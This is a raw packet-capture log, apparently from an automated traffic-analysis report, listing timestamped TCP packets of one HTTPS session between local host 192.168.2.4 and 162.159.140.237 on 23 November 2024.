Nov 23, 2024 00:58:05.096626997 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.096651077 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.102260113 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.102273941 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.102344990 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.102350950 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.102391958 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.106540918 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.106581926 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.106626034 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.106631041 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.106672049 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.108258009 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.108330011 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.113521099 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.113534927 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.113590002 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.113595009 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.113631010 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.113667011 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.119997978 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.120012045 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.120064020 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.120071888 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.120116949 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.125025988 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.125041008 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.125114918 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.125122070 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.125176907 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.136579990 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.136594057 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.136708975 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.136718035 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.136770010 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.292040110 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.292061090 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.292188883 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.292208910 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.292257071 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.297987938 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.298006058 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.298119068 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.298126936 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.298178911 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.303231001 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.303245068 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.303333044 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.303339958 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.303385019 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.309212923 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.309228897 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.309324026 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.309330940 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.309371948 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.315088987 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.315116882 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.315207958 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.315217018 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.315260887 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.320643902 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.320658922 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.320750952 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.320758104 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.320796967 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.326611996 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.326626062 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.326700926 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.326705933 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.326746941 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.337640047 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.337655067 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.337747097 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.337754011 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.337798119 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.493608952 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.493640900 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.493731022 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.493747950 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.493798018 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.498748064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.498769045 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.498855114 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.498862028 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.498913050 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.504753113 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.504772902 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.504882097 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.504889011 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.504971981 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.510601044 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.510631084 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.510700941 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.510708094 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.510754108 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.516612053 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.516633034 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.516721010 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.516729116 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.516777039 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.522160053 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.522181988 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.522275925 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.522281885 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.522324085 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.528148890 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.528170109 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.528248072 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.528254986 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.528299093 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.539119959 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.539139986 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.539210081 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.539217949 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.539268970 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.565032005 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.695369005 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.695395947 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.695499897 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.695508957 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.695575953 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.700542927 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.700567007 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.700618029 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.700623989 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.700684071 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.706459045 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.706484079 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.706542969 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.706549883 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.706608057 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.712379932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.712430000 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.712452888 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.712457895 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.712510109 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.718348980 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.718369961 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.718415976 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.718421936 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.718483925 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.723932028 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.723956108 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.723999023 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.724004030 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.724064112 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.729152918 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.729173899 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.729224920 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.729231119 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.729290962 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.740499973 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.740520954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.740564108 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.740571976 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.740626097 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.896384954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.896409988 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.896476030 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.896491051 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.896534920 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.902354956 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.902376890 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.902432919 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.902437925 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.902520895 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.907583952 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.907608986 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.907660961 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.907666922 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.907721996 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.913635969 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.913656950 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.913710117 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.913717031 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.913774014 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.919454098 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.919477940 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.919538975 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.919545889 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.919584990 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.924705029 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.924726009 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.924772024 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.924777985 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.924814939 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.924840927 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.931005955 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.931026936 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.931073904 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.931080103 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.931140900 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.931963921 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.932024002 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.943445921 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.943469048 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.943516016 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.943521976 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.943567038 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.099294901 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.099337101 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.099431992 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.099446058 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.099487066 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.099509001 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.105254889 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.105278015 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.105334044 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.105340958 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.105385065 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.110521078 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.110544920 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.110594988 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.110603094 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.110618114 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.110652924 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.116367102 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.116389990 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.116451979 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.116458893 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.116494894 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.122342110 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.122368097 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.122414112 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.122419119 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.122433901 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.122462988 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.127898932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.127918959 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.127964973 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.127969980 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.127995968 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.128010988 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.133883953 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.133908033 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.133960009 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.133971930 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.133985043 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.134011030 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.144594908 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.144618988 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.144680977 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.144687891 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.144732952 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.300879002 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.300903082 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.300997019 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.301007032 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.301058054 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.306099892 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.306135893 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.306176901 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.306183100 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.306197882 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.306231022 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.309402943 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.309470892 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.309475899 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.314661980 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.314685106 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.314738035 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.314743996 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.314778090 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.320621967 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.320641994 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.320692062 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.320699930 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.320734978 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.326570034 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.326590061 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.326628923 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.326633930 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.326659918 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.332030058 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.332050085 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.332096100 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.332102060 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.332139015 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.338067055 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.338087082 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.338121891 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.338129044 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.338150978 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.386888027 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.500368118 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.500391960 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.500469923 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.500478029 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.500495911 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.500528097 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.504777908 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.504797935 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.504846096 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.504853010 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.504869938 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.504887104 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.510653973 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.510674000 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.510730028 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.510735035 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.510751009 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.510778904 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.515922070 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.515940905 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.516025066 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.516031981 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.516074896 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.523101091 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.523121119 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.523194075 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.523200989 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.523251057 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.528846025 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.528867006 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.528943062 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.528949022 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.529000998 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.533428907 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.533448935 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.533509970 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.533516884 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.533540964 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.533564091 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.539297104 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.539324999 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.539382935 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.539390087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.539422989 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.539444923 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.700644970 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.700668097 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.700809002 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.700819016 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.700870037 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.706099987 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.706140995 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.706185102 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.706190109 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:06.706216097 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:06.706228018 CET	49730	443	192.168.2.4	162.159.140.237
